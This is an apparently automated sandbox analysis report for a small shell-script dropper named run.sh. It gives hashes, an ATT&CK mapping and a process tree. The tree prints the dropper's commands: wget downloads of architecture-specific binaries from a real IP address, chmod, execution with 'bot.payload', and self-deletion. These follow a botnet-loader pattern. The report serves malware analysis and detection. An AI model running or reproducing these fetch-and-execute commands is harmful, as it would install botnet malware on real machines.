03d0cfae6ac54701c201673ecbdef024176f54536e38fc773a2ff7fbe7ea071a

Analysis

max time kernel
9s
max time network
9s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2026, 08:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.sh
Size 748B
Sample261027-khpp2scw9p
SHA256 03d0cfae6ac54701c201673ecbdef024176f54536e38fc773a2ff7fbe7ea071a
MD5 0ccf8c0fc7b4f81d3c7e7d3046c65d2f
SHA1 f85e15f78974309df1d18bbfb2ec47db357d2e97
SHA512 d47a94ecdaab03d98c14ad1f6bc6b33ee17c6887a5ef46bb0a70ca1d4407b64ab65b474b2d25ac4c6f9cf3eedef1d7e9bc6d1d92761035b13040ed79c9da8b28
TLSH
T14B0194AB65B0AC3068A9CA3CFE9786B0104B142768042909709F6E04EF2CE4CF2A2656
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
820	chmod
751	chmod
765	chmod
775	chmod
784	chmod
793	chmod
802	chmod
811	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/26s48a	752	run.sh
/tmp/3xozo4	766	run.sh
/tmp/7deu29	776	run.sh
/tmp/kpv2u5	785	run.sh
/tmp/d3829b	794	run.sh
/tmp/944qmf	803	run.sh
/tmp/zhphf0	812	run.sh
/tmp/z6f6x3	821	run.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
734	wget
760	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d3829b	wget
File opened for modification	/tmp/944qmf	wget
File opened for modification	/tmp/zhphf0	wget
File opened for modification	/tmp/z6f6x3	wget
File opened for modification	/tmp/26s48a	wget
File opened for modification	/tmp/3xozo4	wget
File opened for modification	/tmp/7deu29	wget
File opened for modification	/tmp/kpv2u5	wget

/tmp/run.sh
/tmp/run.sh
1⤵
- Executes dropped EXE
PID:725
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:729
- /usr/bin/head
  head -c 6
  2⤵
  PID:731
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:730
- /usr/bin/wget
  wget -q http://45.198.224.43/mips -O 26s48a
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod +x 26s48a
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /bin/rm
  rm -f 26s48a
  2⤵
  PID:753
- /tmp/26s48a
  ./26s48a bot.payload
  2⤵
  PID:752
- /bin/sh
  /bin/sh ./26s48a bot.payload
  2⤵
  PID:752
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:757
- /usr/bin/head
  head -c 6
  2⤵
  PID:759
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:758
- /usr/bin/wget
  wget -q http://45.198.224.43/mipsel -O 3xozo4
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod +x 3xozo4
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /bin/rm
  rm -f 3xozo4
  2⤵
  PID:767
- /tmp/3xozo4
  ./3xozo4 bot.payload
  2⤵
  PID:766
- /bin/sh
  /bin/sh ./3xozo4 bot.payload
  2⤵
  PID:766
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:770
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:771
- /usr/bin/head
  head -c 6
  2⤵
  PID:772
- /usr/bin/wget
  wget -q http://45.198.224.43/x86 -O 7deu29
  2⤵
  - Writes file to tmp directory
  PID:774
- /bin/chmod
  chmod +x 7deu29
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /bin/rm
  rm -f 7deu29
  2⤵
  PID:777
- /tmp/7deu29
  ./7deu29 bot.payload
  2⤵
  PID:776
- /bin/sh
  /bin/sh ./7deu29 bot.payload
  2⤵
  PID:776
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:780
- /usr/bin/head
  head -c 6
  2⤵
  PID:782
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:781
- /usr/bin/wget
  wget -q http://45.198.224.43/armv7l -O kpv2u5
  2⤵
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod +x kpv2u5
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /bin/rm
  rm -f kpv2u5
  2⤵
  PID:786
- /tmp/kpv2u5
  ./kpv2u5 bot.payload
  2⤵
  PID:785
- /bin/sh
  /bin/sh ./kpv2u5 bot.payload
  2⤵
  PID:785
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:789
- /usr/bin/head
  head -c 6
  2⤵
  PID:791
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:790
- /usr/bin/wget
  wget -q http://45.198.224.43/armv6l -O d3829b
  2⤵
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod +x d3829b
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /bin/rm
  rm -f d3829b
  2⤵
  PID:795
- /tmp/d3829b
  ./d3829b bot.payload
  2⤵
  PID:794
- /bin/sh
  /bin/sh ./d3829b bot.payload
  2⤵
  PID:794
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:798
- /usr/bin/head
  head -c 6
  2⤵
  PID:800
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:799
- /usr/bin/wget
  wget -q http://45.198.224.43/armv5l -O 944qmf
  2⤵
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod +x 944qmf
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /bin/rm
  rm -f 944qmf
  2⤵
  PID:804
- /tmp/944qmf
  ./944qmf bot.payload
  2⤵
  PID:803
- /bin/sh
  /bin/sh ./944qmf bot.payload
  2⤵
  PID:803
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:807
- /usr/bin/head
  head -c 6
  2⤵
  PID:809
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:808
- /usr/bin/wget
  wget -q http://45.198.224.43/i686 -O zhphf0
  2⤵
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod +x zhphf0
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /bin/rm
  rm -f zhphf0
  2⤵
  PID:813
- /tmp/zhphf0
  ./zhphf0 bot.payload
  2⤵
  PID:812
- /bin/sh
  /bin/sh ./zhphf0 bot.payload
  2⤵
  PID:812
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:816
- /usr/bin/head
  head -c 6
  2⤵
  PID:818
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:817
- /usr/bin/wget
  wget -q http://45.198.224.43/ppc64 -O z6f6x3
  2⤵
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod +x z6f6x3
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /bin/rm
  rm -f z6f6x3
  2⤵
  PID:822
- /tmp/z6f6x3
  ./z6f6x3 bot.payload
  2⤵
  PID:821
- /bin/sh
  /bin/sh ./z6f6x3 bot.payload
  2⤵
  PID:821
- /bin/sleep
  sleep 2
  2⤵
  PID:825

/bin/rm
rm -f /tmp/run.sh
1⤵
PID:824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads